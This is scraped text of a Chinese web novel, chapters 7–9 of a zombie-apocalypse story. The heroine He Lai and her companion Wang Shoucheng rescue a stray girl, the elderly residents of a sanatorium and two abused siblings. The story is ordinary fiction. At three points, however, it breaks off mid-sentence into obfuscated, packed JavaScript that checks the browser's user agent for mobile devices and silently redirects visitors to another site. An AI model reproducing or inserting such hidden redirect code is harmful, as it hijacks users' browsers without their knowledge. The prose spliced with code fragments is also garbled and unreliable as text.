l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571867|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角处。何莱打了个手势示意队友跟上，在那面断墙前稍微停了一会儿，侧耳倾听，她能听见从远处隐隐约约传来的响动，不够明确，像是城市里有小型动物穿梭奔跑的声音，又像是人类刻意压低的脚步，她眯起眼，凝神倾听的时间有些久了，余光瞥见几个迟缓的身影正在靠近，说是走路更像是拖着什么沉重的东西——摇晃着，走向他们。 “！”确定来者是丧尸后，何莱的掌心猛地收紧了，拍了拍王守诚的肩膀。后者迅速地拉过她的胳膊，交换了彼此的位置。 竟然一对五。 王守诚的腿法很凌厉，鞭腿砸在丧尸的腰上发出沉闷的响声，甩棍在他的手中翻飞，每一次出击都能精准地敲碎一颗头颅，后撤的步伐也很稳，与何莱之前误打误撞的打法相比简直是世界跆拳道高手误入少年宫学前班支教。 何莱替他看着另一边，空荡的街景并没有新的敌人出现。如果系统这个时候还在，说不定会调侃一下她作为后勤补给单位出现在这里的极度不合理，或者一起好奇探讨一下这家伙在末日之前究竟是做什么的——和被“捡到”时的狼狈样子完全不一样了。 王守诚将自己投入进战斗的时候，原来那个趴在地上奄奄一息的绝望男人和在小旅馆沙发旁边拘谨道谢的父亲都消失了，只剩下军团这三年来教导和无数次历练中打磨出来的末日军人。 可惜系统不在，何莱只能自己嘀咕几句。说不定人人都在末日中有两副模样，不能迅速适应和改变的都已经死去了。 丧尸收拾得差不多，王守诚喘着气挨个翻过来检查，用甩棍拨开糊成一团黏答答的血肉，失望地摇了摇头。 看来即使系统说明的晶核掉落概率是十分之一，这天底下也多得是就连抽卡也需要保底的人。 何莱跟着耸耸肩，右手指向那处隐隐约约的白色轿车尾，王守诚点头起身跟上。 他们靠近那辆轿车，失望地发现前轮胎已经完全凹陷，绕车一圈与后尾箱里都并未发现任何备用轮胎的痕迹。车钥匙还挂在方向盘右侧，玻璃窗完好无损，何莱趴过去，眯起眼打量车内的布置——有一条脏兮兮的厚毛毯和一些食物的残渣，或许不久前曾有幸存者在此栖身。就在她犹豫着是否要击碎车窗给汽车点火察看剩余油量时，王守诚冷喝道：“出来！” “我？”何莱转过头，发现男人背对着她，正对着刚才他们藏身的断墙摆出警惕的姿势，甩棍护在身侧，蓄势待发地想要进攻。 “出来！”王守诚盯着那一处，刚才传出了细微的动静：“否则就开枪了。” 对面那家伙显然不经吓，迅速地爬了出来。 何莱一愣。 那是个年龄和个头都很小的姑娘，浑身上下脏兮兮的，关节处都是磨破的擦伤和茧，正抱着一袋已经开了口的干脆面，估计是刚才摔倒发出了声响，即使在地上也紧紧地将食物护在怀里。她的小脸被晒得发黑，双眼因为瘦弱的面颊而深深内陷下去，慌乱又绝望地望了过来。 何莱从包里掏出盒饭，在她面前打开后托举着那份便当，小心翼翼地靠近：“你叫什么名字？” “......冬青，我叫徐冬青。”女孩开口的声音只剩下气音，王守诚跟在何莱身后也稍微靠近了些，听见以后忍不住提醒：“店长，她得喝水了。” “哦哦。这个你拿着......”何莱把盒饭轻轻放在她面前的地上，又迅速地回包里找饮用水，等她回头时被女孩用手直接抓饭往嘴里塞的狼吞虎咽吃相给惊得一呆，迅速地帮冬青拧开了水：“喝一口先喝一口，别噎住了。” 王守诚继续握着那根改装甩棍在附近警戒，时不时瞥她们一眼。 何莱耐心等着女孩吃完了食物，又看着她将水一饮而尽，明显是很多天都没有找到食物了。徐冬青开裂的嘴唇恢复了一丝血色，这才将视线投向何莱：“你们在我家附近做什么？” 7. 母鸡、绵羊和蜥蜴进行曲7 “这是你的家吗？住了多久？”何莱指了指那辆车。 “不记得。”女孩警惕地盯着她：“你们想赶我走吗？” “不不不，我们纯路过，马上就走了。”何莱立刻摆手：“你家里人呢？住在汽车里之前，你在哪里生活，还记得吗？” “基地。”女孩硬邦邦地吐出两个字，冲她摇了摇头：“家里人都没回来。基地没有了。”她低头扣着手指上的痂，补充道：“很久以前就没有了。” “不是希望基地的人。”王守诚走过来，半蹲在冬青面前，尽可能放缓语气：“那你是怎么生存下来的呢？” “我偷东西吃。”女孩的眼神很倔强，但在轻声说出这句话时还是低了半分：“我能撬锁。”她从袖子里送出一根扭曲的铁丝来：“基地里的阿姨教过我这个。能打开车子和一些门。” 何莱轻轻地揉她的脑袋：“这不叫偷。这是找吃的，世界已经变了，你很厉害。” “阿姨也是这么说的。”女孩抬起脸，大大的眼睛里滚出泪：“阿姨死了。我偷东西吃。” 王守诚别过脸去，他有孩子，当下就有了跟着落泪的冲动。 何莱轻轻牵过她的手，冬青身上到处都是伤口，在这样的末日中游荡，寻找一处藏身之地很难，或许这辆废弃的轿车只是最近的落脚点，面前这位看起来不满十岁的小姑娘要费劲地打开挡在她面前的一扇又一扇门才能生存，但她不知道哪一扇门的背后会关着凶恶的丧尸，又在哪一扇门后是同样凶恶的同类。 “跟我走好不好？我会给你东西吃。有属于你的房间可以睡觉。”何莱紧张地望着她的眼睛：“我们不是基地，很小但是很安全。” “好。”冬青很干脆地点头。 “好的，带她一起是吗？”王守诚捏了捏鼻梁：“既然如此......这附近有大一点的车吗？我们要先去疗养院一趟接人，然后就能回住的地方——把你安顿下来了。”他对着冬青放缓语速，尽可能和蔼地开口：“你知道那种面包车之类的吗？” “有，那边的公园有学校的大巴。”冬青说，随即立刻怯怯地低下头：“但超市的人在那边，他们经常出来抢东西。骂人，打人很凶。” 何莱跟着压低声音：“别怕，我们只是偷偷过去，不会和他们碰上。到时候你把车撬开，我们上车开了就跑。”她和冬青确认一下：“你能撬开他们的大巴车吗？” “能。”冬青点头：“那个很简单。” “好。”何莱轻轻拍了拍她的肩膀。 王守诚回忆起来：“对，那边确实有个超市，因为那家大型超市自带了库房所以很多人盯着，我记得当初为了争抢地盘，前两年，附近的几大势力干了不少架......最后搬进去的那队人马不太好对付啊。” 何莱心中一动：“超市里物资肯定很多。库房是什么样的？” “有一个仓库和一个冷库。仓库被抢得差不多了，但是没人知道冷库的密码，里边主要是生鲜，断电那么久估计也都坏了。”王守诚无奈：“经理早就死了，被超市那群人打死的。现在没人能打开冷库那扇铁门。”他靠近何莱，压低声音：“超市最后的占领团队里边有异能者，我们没必要对上。”他想了想又补充：“对方是个人渣。” “明白了。”何莱在心里记住了这个信息，扶着冬青站起来：“毯子要收起来带走吗？稍后你就在大巴车上和这位叔叔一起等我好了。姐姐迅速地把事情办完就带你回家。” 冬青眨着眼睛盯着她，将手中剩下的半袋干脆面倒进嘴巴，嘎嘣嘎嘣地嚼碎吞下，然后拉开车门爬进自己的“家”，将唯一的行李，那条毯子抱了出来，乖巧地跟在了两人身后。 公园已经一派凋零，处处充满潮湿的腐朽气息，而超市就开在它的隔壁。 此刻正是下午，太阳下外边一个人也没有，小姑娘几步就悄无声息地熟练潜入大巴车的阴影，她的撬锁技术真的称得上一流，全程安静地没有发出任何响动，靠在司机那侧的车门旁边捣鼓几下就顶开把手。 何莱迅速地接过打开的车门，翻身爬上驾驶座，再往里几步跳进车厢，握紧匕首快速搜查一圈，没有发现危险。 王守诚托着冬青，让何莱抱了上去，她在第二排给小姑娘把毯子重新铺好，又坐到另一边去，冲着刚爬上来的王守诚抬抬下巴：“走。” 他们的表情都有点紧张。 这辆大巴看起来被精心护理过，也没有在末日中落满灰尘，显然被使用的频率不低，王守诚抱着方向盘，伸长脖子往四周看了看，压低声音：“只要打火发出响动，超市那边的人可能就会注意到。这辆车说不定是他们的——” “就是他们的。”徐冬青截断了他的话头，坚定地开口：“快点走。” 没想到啊侠女，你还挺有气魄的，何莱一紧张就在心里吐了个槽，耳边响起一阵似是而非的系统笑声。 “？” 何莱警觉地一回头。 车里空空，只有沉积太久的腐朽空气与她打了个照面，激得她猛打喷嚏。 “他们老是杀人，坏人的车可以偷。开！” 判官小姑娘手一挥，坚决地下了指示。 王守诚听闻一惊，面色迅速严峻起来，立刻拧动了车钥匙——王守诚刚坐上来的时候还在心说这超市里的人真是心大，钥匙都能直接插在原位，也没想过要收起来。所以，他们要么是实力足够强大到根本不在意一辆车，要么就是不认为有人能将车开走——王守诚快速打起火，油盘指针直接转了一圈，油箱竟然还是满的。 这种出没在校园里的巴士有个特点，除了容易晕车以外就是点火起步的声音大得像手榴弹，王守诚刚按下手刹准备出发，超市那扇被关紧的卷闸铁门就迅速地升了起来，冲出来两个满脸戾气的中年男人，一个留着胡子，另一个像是他的双胞胎，看起来平日里吃的很好，衣服紧绷地绑在身上。那两个男人挥舞着双手冲着他们这边叫喊，其中一个折返回去似乎要通知什么人，随后又钻出来两个年轻人——何莱拍着王守诚的肩膀催着他赶紧调头三二一跑，又扭头从旁边的车窗里最后打量了一眼那两个钻出来的年轻人。 他们有点学生气，脸色都被吓得苍白，眼神很不安，身材几乎称得上瘦弱，穿着长袖长裤但是从脖子和肿起的脸颊都能发现伤口，其中的姑娘迅速地扯了扯一旁男孩的手，他们快速地低下头，何莱这才发现他们眉眼之间有些相似。 再然后，王守诚熟悉了大巴，就开始飙车了。 看得出来他真的有点害怕超市里那位传说中的异能者，大巴拐弯之后一路直冲疗养院。中途绕了两个弯甩掉有可能跟上来的追兵。 所幸他们动作迅速，突然发难，超市的人并没有反应过来，因此也来不及追赶这辆忽然被撬开外门开走的大巴车。 “超市里的异能者是怎么回事？”何莱坐回自己的位置上，忧心忡忡地发问。 “喷火的。”王守诚言简意赅地给她形容一下：“就是过去马戏团里那种。我和他们接触不多，但见到过他烧死一对被困在汽车里的夫妻。” 何莱扭头又问冬青：“你说他们经常杀人是怎么回事？” 徐冬青扭头望向窗外，似乎因为疲倦而眯了眯眼睛：“他们经常打人，有几次打死了，还围着哈哈笑。我有时候去公园，被捉过一次，他们也想打我。是有个姐姐悄悄放了我，还有个哥哥偶尔会在倒垃圾的时候偷偷放一点能吃的东西进去。给我吃的。” 很好，一个悄悄一个偷偷。听起来里边的生活危机四伏。何莱冷静地思考，在想如何才能把这对悄悄和偷偷也给引渡到自己的酒店里去，暂时没有得出可行的方案。于是她叹了口气。 “这里开过去，大概一两个小时就能到疗养院。”王守诚回头：“要不你们先睡一会？”冬青点点头，抱着毯子就准备昏睡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571868|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何莱还在思考，但过了一阵子也被大巴晃得晕睡过去。 王守诚独自开着车，望向眼前飞速掠过的道路与周围的景色，忽然想起早些年他在读大学的时候，宿舍里总是很喜欢放那部经典的《行尸走肉》美剧。 在熄了灯的黑夜里，没有空调的学生宿舍也能被生生吓到冷个几度，年轻的男生都好面子，哪怕吓得嘴唇都咬破了也不肯轻易发出惊呼，还一个劲挑那些惊悚的片段看。 但王守诚喜欢主角们平静度过的时光，在社区，在监狱，在基地，那些不需要战斗也不会死人的相处片段，孩子们好好地长大。他对男主角总是提问的那三个问题记忆尤甚。行尸三问，你杀过丧尸吗？你杀过人吗？为什么？ 如果要他来回答这个问题那一切都会变得很简单了。护城军团这四个字本身就很能说明问题，在末日中依旧拥有秩序的，甚至被隐秘地赋予了某种官方意义的组织，一直让这个带着孩子逃亡的中年男人感到归属。 他没有异能，于是在这末日中唯一能做的就是为他的儿子守护那座城市。 他杀了很多丧尸，在必要的时刻，也做好了杀死同类的准备。 “我们到了。”王守诚停下车，望着眼前的陈旧建筑。 说是疗养院，不过是一栋三层小楼，一楼的窗户已经破得不成样，隐隐错错能够望见圆形大厅和两端旋转而上的宽楼梯，看得出往日一派祥和宁静的影子。大门也建得阔气，足足够八九人并排通行，想来是驻扎在此的人也明白很难守住大门，干脆放弃了一楼，向上盘踞。 “等我两个小时。如果没有及时下来，或者你看见除了我之外的人单独下楼靠近，立刻开车离开。”何莱下车前回头看了一眼车里的两人，握着那把洗干净的匕首插进后腰，干脆利落地一跃而下，握着一份盒饭，举起双手就往大厅里慢慢走。 事实证明她的谨慎带来了好处，刚迈上第一层台阶时，头顶就传来一声低呵：“站住！什么人？” 何莱抬眼瞥向斜前方，一个年轻男孩——看起来甚至还没有成年，抓着一把熟悉的手枪，隔着一层铁丝网正稳稳地拖住枪柄将膛口指向她，眼神冷峻，手臂上缠绕着已经变色了的旧绷带。 “我找倩姐。”何莱举起的双手也很稳，露出一个无辜的表情：“她说有麻烦可以过来的。” “……你找我妈做什么？”男孩的严肃表情稍微放松了一些，握枪的手指又紧了紧：“报上你的来头！一个人来的么？” “何莱，希望基地的，一个人。我们残余的幸存者在附近的一家酒店里安身，想找倩姐商量一点事。”何莱从善如流，心说你们这对母子可真是特别擅长用枪指人和盘问。 自从来到末日，何莱已经习惯了这样的待遇。 她看对面的男孩依旧没有放下枪，警惕地瞪着双眼，于是何莱叹了口气，放缓语调提供更多信息：“我是在制药公司的那栋大楼里见到你妈的……呃，倩姐的。她拿着你手上的这把枪，还开枪杀死了一个中年男人，你有印象吗？”好个亲切的会面，何莱的吐槽之魂还在熊熊燃烧。 “知道，那是我爸。” “呃？”你们家风如此彪悍，实在是一脉相传。 男孩看何莱目瞪口呆的表情，不自在地偏了偏头将枪口往下压了压：“后爸。他总是想指手画脚干预我妈的疗养院。我妈把他带出去了，回来以后又带了些人走，现在还没回来。”男孩伸头朝她身后望了望，确认没有跟着什么人：“那你进来等吧，我要给你搜身。” “嗯，是我告诉她那里有新的物资可以拿。对了，虽然你没说但是不用谢。”何莱点点头，又上了几步台阶，望见一扇被焊接在两侧扶手的巨大铁板，底下有一个小门正在被男孩费力地拖开，想来是通往二楼的道路没有别的阻隔，只能用这种方法粗暴地挡住丧尸或者同类。楼梯剩余的缝隙被用铁丝网挡了几层，难怪要一直安排人在附近值班。 8. 母鸡、绵羊和蜥蜴进行曲8 “你多大了，叫什么名字？”何莱一边熟练地弯下膝盖努力往里边爬一边故作自在地问话：“看起来挺小的。” “我十六了！马上一米八了。”男孩声音突然变大：“我叫吴亓。” “你看起来只有一米七。”何莱拍拍手站起来，环顾一圈，空荡荡的走廊收拾得很干净，两边贴了瓷砖，一整排的房间门里静悄悄。 她配合地让吴亓搜了一圈，后腰别着的匕首被吴亓拔了出来，搜了一圈确认没有私藏武器，吴亓才不放心地将匕首重新交回到她的手上。 “大家一般都住在三楼。二楼是老人们，没什么动静。”名叫吴亓的男孩挥了挥枪，又叹了口气：“大家之前还想他们住到一楼去，好不容易才争取到了二楼，说不能白吃白喝，要负责放哨。所以离门近。” “所以，你们这里用老人放哨？”何莱问。” “是啊。我今天是不放心我妈才在这里看着。”吴亓扬了扬枪：“她走之前说如果她没回来就别开门。” 这嘱托听起来有点熟悉……何莱抛开忽然劈叉的思路，开口问道：“你们这里有多少老人？” “你问这个要干嘛？”吴亓警惕地看一眼面前这位突然出现又开始自来熟的陌生姐姐，最后又叹一口气：“算了，告诉你也无所谓。反正昨天都死得差不多了。” “那个后爸，趁我妈在睡觉，把枪拿了。逼着那些老人出去搜寻物资，说要上缴足够的量才有资格继续住下去。结果等我妈醒来去找，十五个还活着的就剩下六个了。”吴亓埋头吃着何莱提供的炒蛋和青菜便当，头也不抬地含糊讲述。 何莱托着脸坐在他对面，愁眉苦脸地跟着叹气：“你这个爸确实不怎么样啊。你亲爸呢？” “不知道。” 吴亓抬起脸，没有流露出什么表情：“从末日那天晚上就不见了。那天是放学，我自己下了晚修走回家，我妈也刚下班。只有我爸接我妹妹，一直没有回来。” “你妹妹多大？”何莱又跟着叹一口气。 “比我小两岁，但是读书早，只小我一届。那一年读初一，应该比我提前一个小时放晚自习。”吴亓神色凄然：“我到家没多久就有邻居一直在撞门，我妈听声音觉得不对，用猫眼看了才发现那家伙已经不像个人了。” 何莱抬起手摸摸他的脑袋：“别太难过了。” 吴亓有点不爽被摸脑袋，随后又听见何莱发问：“活下来的那六个老人都在这里吗？” “你总问那些老人干嘛？”吴亓警惕地从盒饭里再次抬起头来。 “我们希望基地城破，剩下来的全是孩子。人也很少，正在重建，和你们这种已经完善了的团队不太一样。”何莱继续摸他的脑袋，像揉搓皮球：“老人对你们来说或许是累赘，但在我们那边就能发挥很大的用处。我们有土地可以种菜，你们还能省出些口粮，我是想来和你妈妈商量一下能不能把老人们接走。” “……哦。他们还在屋子里隔离，不知道有没有被丧尸咬。”吴亓抓过旁边何莱给的瓶装矿泉水捏在手心，直到瓶身慢慢起了白雾，中间凝结一块冰。 吴亓打量着何莱的神色，慢吞吞开口：“我的枪里没有子弹，所有的子弹都在我妈的枪那里。” “你的超能力是制冰啊。”何莱赞叹：“夏天可以省空调，真好啊。” “我没有留下子弹，是因为我可以用冰做子弹杀人。”吴亓盯着她慢吞吞地开口：“所以如果我妈不同意或者老人们不想走，你最好不要来强的。” “我哪敢啊？天呐我和你们母子打的每一次交道都是被枪指着。”何莱哭笑不得：“如果不行我就走了，只是过来问问能不能互惠互利一下，你知道，多个朋友多条路嘛。” “……”吴亓决定放弃理解这个说话太过欢脱的陌生人。 “我听说你们这里总是因为老人吵架。”何莱小心翼翼地又挑起新话题：“如果，我只是说如果，以后你们遇到麻烦，也可以来翡翠酒店找我。你和你妈我都是很乐意收留的。” 吴亓冷冷地看她一眼：“我有超能力，我妈有枪，任何一个大型基地都乐意收留我们。” “也是。不说了，吃饭吃饭。”何莱热情洋溢：“这是我们那儿的例餐，一份只要2晶核。划算吧？” 吴亓愣了一下，迟疑地放下盒饭，在自己的上衣口袋里掏了半天，只翻出来一颗晶核。 “不收你钱不收你钱，只是介绍。”何莱急忙阻拦：“别搞得我像上门推销的一样！”她紧急补充：“我只是想让你知道，老人们过去以后会有怎样的待遇。” “喔。”吴亓收起晶核。 他们静静地坐在走廊上，另一侧的窗户全部都被拉上了帘子，夜晚细微的光亮在此刻变得格外明显，就在何莱犹豫着是否要出门和等在外边的王守诚和徐冬青说一声时，外边传来了响动，窸窸窣窣像人在走动，还有重物拖行的声音。 三声短促的咳嗽传来，吴亓站起身举枪，神情紧张地咳了一声回去，何莱不明所以，跟着他站起来，探头往那边望去。模糊的人影逐渐靠近，倩姐一手拎着手电，另一只手提着着巨大的登山包走在前边，后面零零散散跟着十多个男女，除了自己的行囊之外还都提着实验室里的尼龙袋。何莱压低声音：“人多真好啊，你们把那里都搬空了吧。” “什么人？”倩姐刚刚用光线迅速地照完一圈大厅，就往上对准吴亓，自然看到了他身后的何莱，几乎是下意识地就将上膛的枪再次对准她的脑袋：“你是谁——昨天那姑娘？” “嗯嗯对对对是我......”何莱迅速点头，瞧着倩姐身后跟着的男男女女面色不善，迅速地补了一句：“我找倩姐来想商量事情，不知道方不方便？” “行。”倩姐简短地回答，站在门口等着吴亓把小门拉开，费力地将行李从门洞里塞了进去，自己再艰难地屈膝趴着爬进去，后边的人逐一跟着照做。 “这吃的是你带来的？”倩姐眼前往吴亓脚下的盒饭一瞥，徒增些厉色：“小姑娘你先等着，等我们做完检查，再上楼谈。”随后她转身，所有人默契地分成两两一组，互相对彼此展示浑身裸露在外的肌肤并无丧尸抓痕咬痕，衣服布料也都完整。 等他们重新拾起行李，倩姐才深深地看了何莱一眼，挥了挥手：“上去说吧，二楼离下边太近，不方便停留。” 吴亓也沉默地收拾好便当的残留垃圾，跟在母亲身后往上走。 三楼相比于二楼的环境要明亮舒适得多，这才是人类聚集地的氛围。小会议厅的墙壁上被围了一块很大的方形红格子围巾，带着流苏。底下摆着木桌，桌上是一些零零碎碎的日常工具和水杯，围绕着桌子的椅子也都挂满了背包和外套，厚重的窗帘带着暗纹垂在窗户旁，倩姐一路带着她走到窗边坐下，掀起一点窗帘朝外看了看：“停在路口那辆大巴是你的同伙吧？” 吴亓猛地扭头看过来。 “只有一个小孩和一个男人开车，小孩是路上救的。”何莱坦率地承认：“我不知道怎么过来，之前一直在希望基地里没有接触过外界……后边的事你也清楚了。” “老大，我们先去放东西！”来了个嗓音清亮的年轻女人，疑惑地瞥了一眼何莱，冲着倩姐招手。倩姐点点头，又看向何莱：“那边的私人区域我就不方便带你过去了，放物资的仓库和成员们休息的地方，平时我们在这里活动。对了。实验室的事情......谢谢你。” “理解的。”何莱点头。 “我今天来，主要是想仔细向您介绍一下我那边。”何莱努力让自己的眼神变得陈垦：“我是搞科研的，研究丧尸变化和人类异能，一直不了解外边的世界，全靠着同伴才活下来。楼下那个开车的男人是希望基地的经营点负责人，我们虽然城破，但依旧留存了一块安全的地方，正在找寻存活的成员进行基地重建。” “这样啊。那你们还算幸运，不是完全没有出路。”倩姐若有所思：“你是想从我这里购买物资吗？” 何莱摇摇头：“不是的，我们那边有异能者和土地，食物方面不会特别困难，未来也有人手外出收集物资，只是......”她为难地顿了顿：“我们那边，孩子比较多。而且一些需要人手看顾的地方周转不过来，我听同伴说了，你们这儿因为老人的去留问题有过几次争执，就想着——” “原来是这样。你想带走老人？” “是。我能保证他们到了那边有基本的食水保障，也会被重视，不用干重活，也不需要面对丧尸。” “唉。”倩姐沉重地叹一口气，显然是被勾起了伤心事，又想到这些在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随后，趁着夜晚里不引人注意，他们和倩姐一起下楼，带着老人们来到路边。王守诚迅速地启动了大巴，何莱站在队伍最后等待老人们爬上大巴，余光瞥见疗养院小楼顶层的窗帘被人掀开，几张面无表情的脸往下看了看，又迅速地拉紧了窗帘。 “嗯......”何莱最后上了车，和倩姐吴亓告别，大巴慢悠悠地重新行驶，冬青还在睡，何莱盘腿坐在第一排，正在思考措辞，忽然被最先上车的奶奶给叫了一声：“小姑娘啊。” “嗯？”何莱直起身。 “小倩是把我们卖给你了？”那奶奶悠悠开口。 “啊？”何莱一愣，王守诚一边转方向盘一边扭头看她。 “我们这里不兴人口买卖啊。我们是希望基地的人，听说疗养院运转困难，所以伸出援手……哎呀您看起来很年轻啊！奶奶怎么称呼？”何莱赶紧伸出手去和她握了握。 “嗨！五十五了，以前做家政的，只是腰不好才来的疗养院，谁知道出了事就一直困在这里了。叫我蓉姨，没那么老！”奶奶拒绝了这个称呼，容光焕发起来：“你们是希望基地的？基地很多人吧？好不好找工作啊？我倒是还想继续发光发热呢。”蓉姨一脸热切，让何莱心虚地左顾右盼一番，发现老人们都满脸担忧或是警惕，干脆站了起来。 “这个……说来话长了。”何莱挠挠脸：“大家都别着急啊，听我慢慢说……”她稍微扯起嗓子，对着坐在后排紧张不安的老人们放大音量开始再次介绍希望基地的变化和翡翠酒店的规划，深觉自己此刻已经完成了转职向旅行团导游的完美蜕变。 大巴车远远地快到超市，提前就已经熄灭了灯光准备绕路离开，何莱眼尖地发现超市门口的篝火处有两个将脸埋在膝盖里的年轻身影，肩膀时不时一抖一抖，像极了抽泣。 何莱压低声音问冬青：“是你那个悄悄姐姐和偷偷哥哥吗？” “嗯！”徐冬青认真地点头：“他们一定又被打了。”冬青很熟悉这副场景。 “王叔，能不能停下车，我想把这两人打晕打走。”何莱拍拍王守诚的肩膀，豪迈地一挥手。 “嗯……”王守诚沉默地转了个向，将大巴车停在远处可以随时朝另一条路逃亡的方向，沉默地站起身来，对冬青招了招手：“我们去问问你那哥哥姐姐。”他伸手拦住了何莱：“你留在车上，人多不方便。我抱着冬青跑得快一些。” “行。”何莱凝重地点了点头，随后又担忧地补充一句。 “带不走他们也行，你们要安全回来。” 9. 母鸡、绵羊和蜥蜴进行曲9 店长（何莱）日志摘录： 系统没有驴我，酒店竟然真的升级了！ 升级过后的酒店真的有了一片土地，不算很大，正方形。但胜在周围有牢固的围墙，拳打脚踢试了试，感觉是水泥。 我们划分出了四块农田，老人们正在试着施种，这个晚点再讲。 大厅里顺理成章地多了一扇小门，通往花园。王守诚盯着它看了很久，也不知道能不能相信我蓄谋已久的说辞。 幸好其他人都是第一次来酒店，糖糖也是个小孩……再下一次升级的时候就得提前想好解释了。 系统说现在开始可以试着招揽些孔武有力的客人。我同意。 它总结酒店人员构成的时候，感觉很为未来堪忧。我也是。 酒店内部有些许变化，连带着客房陈设都有所改善。王守诚回到房间的时候又沉默了好久，但最终他识相地什么都没有说。 非常好。 最让人高兴的是升级后的便当变得丰富了，原有基础上新增了一道菜，竟然是苦瓜炒腊肉！腊肉很美味但我真的不爱吃苦瓜……当然系统又说了，别挑三拣四，有肉吃不错了。也对。 话说那天晚上，王守诚单手扛着偷偷同志上车之后，悄悄同志竟然是被冬青牵着手带上车的。 早知道他们那么配合，就不使用暴力手段了。许在杉——就是那个被冬青说偷偷给她送食物的男孩，连着三天都用很幽怨的眼神看我。干什么呀，不就是让王叔打晕他拎上来了吗？ 他姐姐悄悄——许约棠倒是挺乐观的，来到酒店后第二天就恢复了精神，跟着王守诚一起去附近巡逻，下午还把许在杉也拽去了。 这对姐弟还真的上交了晶核！这阵子光做慈善，差点以为我要破产了。 距离疗养院归来的惊魂夜（主要是被超市那帮人给吓的）已经过去了五天。自从有了土地之后，全靠我死缠烂打让系统给了点种子。但种出来之前是什么品类，系统也不肯透露，有经验的老人家说是芽苗菜，一周左右就能收获。很感动，还想再讨点母鸡来养，系统让我自己去野外捉。 王守诚说希望基地里或许还有留存之前种下的空心菜和红薯苗，地底下埋着的土豆他会想办法去挖出来。许在杉竟然是农学专业的大学生——虽然他自称已经忘了很多，但说不定能把菜园子打理得欣欣向荣。 老人们也终于有了好的归属，最年轻的蓉姨性格爽利，做什么都风风火火的，被封为客房服务部门负责人，以后带领剩余的五位老人负责酒店内的后勤工作——忘了说，大厅也扩大了些面积，我们甚至有饮水机和三个沙发，还有一间很小很小的厨房，刚好有一位退役的炊事班老爷子。 但目前巧妇难为无米之炊，厨房最多的功能就是把便当盒饭做成炒饭。 物资方面，老人们没有什么随身的行李，这几天不断搜寻的王守诚小分队带回来一些过期的方便食物，加上药物一起都放在了走廊尽头的空房间里——那间房被征用成为了物资仓库，总不好放在我的房间里。那样我成什么人了？ 植物从种植到长出来需要时间，我们还在满世界找晶核换饭吃，养活目前为止酒店里包括我在内的十二口人。这些天来找到的零零碎碎各类吃食能抵一阵子，平均下来每个人一天消耗一份套餐。 王守诚已经在开始动用早年的积蓄来帮扶运营了，感觉很愧疚，暂时降价成一晶核一份盒饭，不赚钱纯吆喝，系统把我骂了半天。等以后再找时机涨回去吧…… 自从有了真正的楼梯以后去二楼方便了很多，客房也有了门锁和钥匙，总算摆脱了过去的推拉简易锁。一切都在慢慢好起来，大家正怀着新奇又不敢相信的心态努力适应着新的生活。 但我的房间还是不能上锁，系统说等下次升级。 本末倒置！朕这段日子简直寝食难安啊。 王守诚和我商量着过段时间回基地的旧址一趟，他毕竟对那里很熟悉，说不定真能找出点东西来用用。 被救下来的那对双胞胎里，姐姐约棠带着冬青住在王守诚父子隔壁，弟弟暂时单独一间紧挨着她们，期待未来能捡到新的小孩或者他的同性舍友。 老人们各自和好姐妹或者相好一块儿，三间房正好够住，加起来我们竟然已经有了六间客房的满员，可喜可贺，可喜可贺。 到至今为止所有人都对希望基地的说辞深信不疑，并且纷纷帮我打起了配合。彼此之间相辅相成的介绍和托词让我想起来了很久以前听过的那个，年轻人要娶世界首富的女儿还要去银行贷款的故事…… “好了，好了！你的日记写得也太长了吧。”系统阴阳怪气地挖苦道：“我们这里是末日求生项目，不是文学作品品鉴会。” “行了，快闭嘴吧。”何莱穿着睡衣趴在床头，费力地往笔记本上再添一笔，自从他们回来已经过去了一个星期：“有没有什么办法快速获得晶核啊？”她忧心忡忡：“再这样下去我担心大家都会饿死在酒店里。” “抢劫。”系统冷酷地说：“联合疗养院，去把超市抢了。一边一个异能者对打，剩下的普通人里你们阵营还有枪，晶核平分，还有额外物资呢。” “……那超市的人怎么办？”何莱想了想：“哦哦，先别说！你很快要告诉我里边都是大搞奴隶制的畜生们死不足惜对不对？” “我不知道。”系统承认：“不在乎。从没想过他们的死活。” “啊啊！”何莱挠乱头发：“那超市冷库密码你知道吗？” 系统罕见地沉默一下。 “你知道？”何莱支起身来，双眼发亮。 “严格说店长你这算是严重作弊……这些地点的准入权限本来都是给主角准备的。”系统犹犹豫豫地开口：“你如果能把超市打下来，我就再给你一块炸弹。” “为什么要打下来？半夜偷偷过去不行吗？” “因为仓库门在收银台后边。” “所以呢？” “你打算半夜过去引爆个炸弹，不惊动任何人，带着物资离开？” “......”何莱沉默片刻，迅速转移了话题：“那给我介绍一下对方的异能呗？规模几何杀伤能力如何啊？” “我不能说。”系统硬邦邦地说：“真服了你了。为什么要逮着我为难啊？会违反规定的知不知道？你就不能走出门问那对姐弟吗？” “喔......多谢！”何莱眼前一亮，拔腿就跑。 姐弟俩对于被抓来回忆起那段艰辛年岁不是特别开心。 “他曾经把违抗命令的人活生生地在我们眼前烧死了。”许约棠嚼着苦瓜，表情看起来十分忧愁地靠在沙发上。 末日之中，人们逐渐习惯一天两食多睡觉的生活，每次到了上午和下午的饭点，翡翠酒店的人都会自发聚集在沙发周围一起吃饭，啃啃过期饼干方便面或者奢侈一把吃盒饭。 